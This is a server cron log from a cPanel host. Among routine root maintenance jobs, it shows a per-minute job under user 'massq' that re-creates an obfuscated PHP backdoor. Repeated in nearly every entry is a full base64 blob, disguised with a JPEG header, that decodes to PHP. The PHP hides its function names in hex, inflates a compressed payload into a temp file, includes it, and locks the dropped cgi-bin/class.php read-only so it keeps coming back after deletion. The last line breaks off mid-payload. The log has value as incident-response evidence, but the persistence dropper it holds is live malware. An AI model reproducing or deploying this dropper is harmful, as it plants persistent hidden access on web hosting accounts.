Apr  9 14:02:01 server CROND[11691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:03:01 server CROND[11754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:04:01 server CROND[11821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:05:01 server CROND[11883]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  9 14:05:01 server CROND[11884]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 14:05:01 server CROND[11885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:05:01 server CROND[11887]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 14:05:01 server CROND[11886]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 14:06:01 server CROND[12107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:07:01 server CROND[12178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:08:01 server CROND[12234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:09:01 server CROND[12291]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 14:09:01 server CROND[12292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:10:01 server CROND[12365]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 14:10:01 server CROND[12367]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 14:10:01 server CROND[12368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:10:01 server CROND[12366]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 14:11:01 server CROND[12623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:12:01 server CROND[12680]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 14:12:01 server CROND[12681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:13:01 server CROND[12777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:14:01 server CROND[12850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:15:01 server CROND[12911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7